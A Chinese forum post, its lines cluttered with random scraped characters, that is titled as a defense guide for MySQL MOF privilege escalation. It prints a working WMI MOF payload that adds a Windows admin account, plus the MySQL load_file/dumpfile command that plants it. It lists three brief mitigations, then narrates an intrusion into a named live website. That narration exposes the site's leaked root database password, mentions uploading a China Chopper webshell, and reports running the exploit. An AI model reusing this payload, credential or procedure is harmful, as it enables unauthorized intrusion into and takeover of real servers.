Mysql mof扩展漏洞防范方法. p# o& Q B6 \' W
4 i" p8 v( d, g2 T$ G4 \% T, i5 {; K
网上公开的一些利用代码:8 q3 J- z5 Z& a
! [" q2 S2 K) x, V
#pragma namespace(“\\\\.\\root\\subscription”)/ X, H* u) ]$ j! @3 u5 O
% b: R# W1 F" N& w% `, N
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };; {+ ]" R* K u) V0 W
+ C2 e; c9 v8 y' t/ H + |9 e- r5 W' f/ Q9 |
# K" y8 [5 ~9 U2 q2 n , x+ T3 k H( f0 q5 y
& J" k2 g& \, x8 u' D: O连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
$ _$ M. T* W& ^+ W: o从上面代码来看得出解决办法:1 e6 S+ d4 k, m
) K3 A0 N6 |9 N' Q1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
3 b' R, e& R' Q- m3 \; K8 f7 [9 u% U0 Y0 u% q( W
2、禁止使用”WScript.Shel”组件$ V0 D1 A3 P7 ~0 a, a' K" s) v
9 W, `% }+ e% D- W6 _- }* q
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
6 T6 M, j$ ^+ ^1 w, w: w* V6 c6 t5 V. s1 l7 o$ F: e6 t) m1 I
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下, ^8 {" ?6 j9 `( y. R( i
s: D2 L' g- z& | o+ ~: Y& m) |' J
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权% R- S. A4 r6 @
; M+ l' T5 q9 K% N L但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容0 R- i& ?& |3 C/ B/ x- D9 ~$ c
8 }, x/ f% h6 ^; M2 R, `( f
看懂了后就开始练手吧- c1 D( N4 J# `, [1 _' P2 f
: ]- j5 e' l: s; G) M" p
http://www.webbmw.com/config/config_ucenter.php 一句话 a
6 [: h+ y3 P; p2 F9 A3 n! _
" H$ t' B4 p% A$ P) p: U2 l$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
7 m' R# \7 e3 x, k4 \
# D& ?) e; j: g于是直接用菜刀开搞1 @& e# w* H/ o# @4 \& Y5 f1 x
* e, ^: Q# V2 @' L( s7 Z) h
上马先
* e% f: D7 Y1 a9 u" n- r' s& q( e5 U& ^( t
既然有了那些账号 之类的 于是我们就执行吧…….2 w, `. U8 k+ t( G4 q( O/ T
w6 p+ l3 E. A M/ Q
小小的说下
/ T. V; y( r# J1 n3 a. [; j: \- l! y9 N9 `) J
在这里第1次执行未成功 原因未知& o; D; K# X0 b# f0 h, }( a
- _6 Y! {) V8 x- Q3 p) `6 p$ j( n我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
; B- V; p$ F" S" p. W
( ~. U* Y' r$ B3 F- h8 P#pragma namespace(“\\\\.\\root\\subscription”)- e7 \/ }6 P: @: {5 _ w; I
f7 t' L8 m" W+ F+ E* @
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };: K& k% I# W2 w
, e5 z& B2 S& z& W l6 `: ?& g我是将文件放到C:\WINDOWS\temp\1.mof
8 D6 ], C% H0 q& w2 n" r; U: ~1 U* `! c: J
所以我们就改下执行的代码
1 N3 Z8 @0 s. U6 r3 X r! P. @ U! J+ M }+ H, E: p% G
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
# C! I. ~# p7 p8 |! ~3 E$ U2 X' R7 F- k
1 u+ D4 s; }% L0 N# u9 w6 Y" r2 A5 ^$ g
但是 你会发现账号还是没有躺在那里。。. `+ F$ g- [% K6 e+ {: z6 e) O
$ i' Z: A7 t# B# t/ [$ [, Y
于是我就感觉蛋疼, u( }& v b3 [1 o
4 R& B1 N! y9 @! [& r. m& A
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
$ x+ W) y( P" U- I' k# @! A+ Z& | l: t* n; z, [$ m, a! V
0 j2 k1 m( `/ o) w3 {) B
- F, O) N; `. I但是其他库均不成功…
# R) S- K% X% z( e9 E1 [% r7 \% L
1 \ x$ \- o1 J1 H1 f我就很费解呀 到底为什么不成功求大牛解答…
4 P8 W- ?* N0 ]% g6 m, V4 y
0 E! b$ o7 Z$ j4 c
, c% p+ B3 Z7 t; y/ n+ A/ g0 ~! Q* U+ s6 S
|